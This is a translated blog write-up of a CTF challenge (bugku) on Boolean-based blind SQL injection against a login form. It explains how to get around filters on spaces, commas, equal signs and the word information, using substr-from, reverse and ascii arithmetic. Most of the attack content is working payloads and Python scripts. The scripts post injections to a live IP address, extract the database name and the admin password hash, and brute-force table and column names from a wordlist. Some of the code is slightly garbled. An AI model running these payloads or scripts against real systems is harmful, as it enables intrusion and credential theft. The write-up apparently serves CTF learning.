Table of Contents
Bypass spaces
/**/Bypass
() bypass
Enter to bypass
·(key button) bypass
equal sign bypass
Bypass, (comma) use substr
There are basic bypasses below
Comment bypass
/**/Bypass
#Bypass
/*Comment content*/Bypass
//comment bypass
Case bypass
Bypass information filtering
Simple blast table name
bugku Boolean-based SQL blind injection_bugku Boolean-based SQL blind injection-CSDN blog
The questions I encountered during the assessment were revealed in the database and I had no idea how to solve them.
Get the original title here and record it
First, let’s get the login interface and test it.
Enter the admin password and enter it casually
Enter admin123 and enter the password as you like.
I found that the admin here exists in the database, but if it does not exist, it will echo back that it does not exist.
So here we can confirm that admin is true
Then we start fuzzing
Found a lot of filtering. . . . . Where information is filtered
Then we go around one by one
Bypass spaces
/**/Bypass
select/**/*/**/from/**/username
()Bypass
select(*)from(username)
Enter to bypass
Because mysql will only be executed when it encounters; So we can pass bypass select * from username
·(key button) bypass
select`*`from`username`
There are many ways to bypass this
The following is the bypass of the equal sign
Equal sign bypass
Here we can use <> to bypass the equal sign
<> means the inequality sign So we can construct it through <>
a'or(1<>2)# The echo here is 1 because 1 is not equal to 2 and admin exists a’or(1<>1)# The echo here is 0 because 1 is equal to 1
Now we can start blasting the database
We can know how to construct the payload
a'or(ascii(substr(database()),0,1)<>1)#
But we found that it is filtered here because , is filtered
So we cannot use this method
Bypass, (comma) use substr
Here we learn a way
substr('flag' from 1)
SELECT substr('flag' from 1) --->flag SELECT substr('flag' from 2) --->lag SELECT substr('flag' from 3) --->ag SELECT substr('flag' from 4) --->g
But what we found here is that we cannot search for the flag through 1 and then query
We can use the reverse output to see reverse
SELECT substr((reverse(substr('flag' FROM 1)))FROM 4) f SELECT substr((reverse(substr('flag' FROM 2)))FROM 3) l SELECT substr((reverse(substr('flag' FROM 3)))FROM 2) a SELECT substr((reverse(substr('flag' FROM 4)))FROM 1) g
Implemented reading
Here we can perform payload splicing
a'or(ord(substr((reverse(substr((database())from(2))))from(8)))<>98)#
Let’s analyze it again
a'or(ord(substr((reverse(substr((database())from(1))))from(8)))<>1)# The content is actually a' or ord(substr(reverse(substr(database() from 1)) from 1))<>1 We first pass substr(database() from 1) to output But this time the entire content is returned. If the database is admin Then the response at this time is admin We use flip reverse(substr(database() from 1)) What is returned is nimda At this time, the maximum value we access is 5 substr(reverse(substr(database() from 1)) from 5) It returns a We get the content of the first character Why should we use ord here? Because the encoding of ascii in mysql is the same for upper and lower case 's'='S'
So we start writing python code
import requests import string,hashlib import time url = 'http://114.67.175.224:13436/' string1 = string.digits + (string.ascii_lowercase) password = '' for i in range(1,8): for j in range(8,0,-1): for k in range(48, 128): payload = """a'or(ord(substr((reverse(substr((database()))from({0}))))from({1})))<>{2}) #""".format(i, j, k) data = { 'username':payload, 'password':'abcd' } try: res = requests.post(url, data=data, timeout=5) except: time.sleep(2) res = requests.post(url, data=data, timeout=5) if 'username does not exist' in res.text: password + = chr(k) print(password) break res.close()
Obtained the database name blindsql
But when we continued, we found that we couldn’t continue.
Because information where etc. are filtered
There is a basic bypass method below
Comment Bypass
The principle here is that what follows the annotation will be executed.
/**/Bypass
select * from users /**/ where id = 1
#Bypass
select * from users # where id = 1
/*Comment content*/Bypass
select * from users /* where id = 1 */
//Comment bypass
select * from users // where id = 1
Case Bypass
If waf is not case sensitive we can use this
sElEct * from users whErE id = 1 union sElEct 1,2,3
Bypass information filtering
sys.schema_auto_increment_columns sys.schema_table_statistics_with_buffer sys.x$schema_table_statistics_with_buffer sys.x$schema_table_statistics sys.x$ps_schema_table_statistics_io mysql.innodb_table_stats mysql.innodb_index_stats
But before that we first need to see what our version is
Modify the above payload
payload = """a'or(ord(substr((reverse(substr((version()))from({0}))))from({1})))<>{ 2})#""".format(i, j, k)
So none of the above can be used. . . .
Simple blasting table name
Here we start to think about whether we can explode
Here are two
a' or exists(select * from user)# If true is returned here, it means that the user exists a'or admin.test is null Returning true here means it does not exist
But neither of these can be used because they are all filtered.
Here we start to have difficulties
Here we can use another blasting method
a'or(length((select(group_concat(flag))from(blindsql.test)))>0)# The test and flag here are the contents we need to replace in the dictionary. This is actually a pure explosion.
import requests importsys url = 'http://114.67.175.224:13436/' res = 'burst' shuzi = 1 #Read dictionary file = open(r'C:\Users\Administrator\Desktop\Offense and Defense\Penetration\Dictionary\Password\Top50.txt','r') lines = file.readlines() file.close() lines = [line.rstrip() for line in lines] for line in lines: for line2 in lines: paylaod = """a'or(length((select(group_concat({0}))from(blindsql.{1})))>0)#""".format(line2, line) print(paylaod) data = { 'username':paylaod, 'password':'asdba' } response = requests.post(url=url,data=data) shuzi + =1 if "password error!" in response.text: print("The blasting is over----blasted" + str(shuzi) + "times") print(paylaod) print("Table name:" + line) print("Field name:" + line2) sys.exit()
But there is really no dictionary here, and I haven’t found a dictionary that can explode.
Then we can read it directly
a'or(ord(substr(reverse(substr((select(group_concat(password))from(blindsql.admin))from(1)))from(32)))<>52)#</ pre> <p> </p> <pre>import requests import string,hashlib import time url = 'http://114.67.175.224:18038/' string1 = string.digits + (string.ascii_lowercase) password = '' for i in range(1,40): for j in range(40,0,-1): for k in range(48, 128): payload = """a'or(ord(substr(reverse(substr((select(group_concat(password)))from(blindsql.admin))from({0})))from({1}) ))<>{2})#""".format(i, j, k) data = { 'username':payload, 'password':'abcd' } try: res = requests.post(url, data=data, timeout=5) except: time.sleep(2) res = requests.post(url, data=data, timeout=5) if 'username does not exist!' in res.text: password + = chr(k) print(password) break res.close()
4dcc88f8f1bc05e7c2ad1a60288481a2
But it’s true that this explosion is too slow.
I will introduce another method here
a'or((ascii(substr((select(password))from(1)))-48))-- In fact, the most important thing here is ascii and -48 -48 is minus 48 That is, we query the first letter of the passaword. If it is 48, which is 1, it will output 0, then the overall output will be 0. If it is not 48, output 1 and the overall value is 1. There is no need to use flipping here because ascii(substr((select(password))from(1) Here you only need to modify 1 2 3 to get the ascii of this first character
So we start constructing
import requests import string,hashlib import time url = 'http://114.67.175.224:18038/' string1 = string.digits + (string.ascii_lowercase) password = '' for i in range(1,40): for k in range(48, 128): payload = """a'or((ascii(substr((select(password))from({0})))-{1}))#""".format(i, k) data = { 'username':payload, 'password':'abcd' } try: res = requests.post(url, data=data, timeout=5) except: time.sleep(2) res = requests.post(url, data=data, timeout=5) if 'username does not exist!' in res.text: password + = chr(k) print(password) break res.close()
The speed is indeed much faster
Then we can log in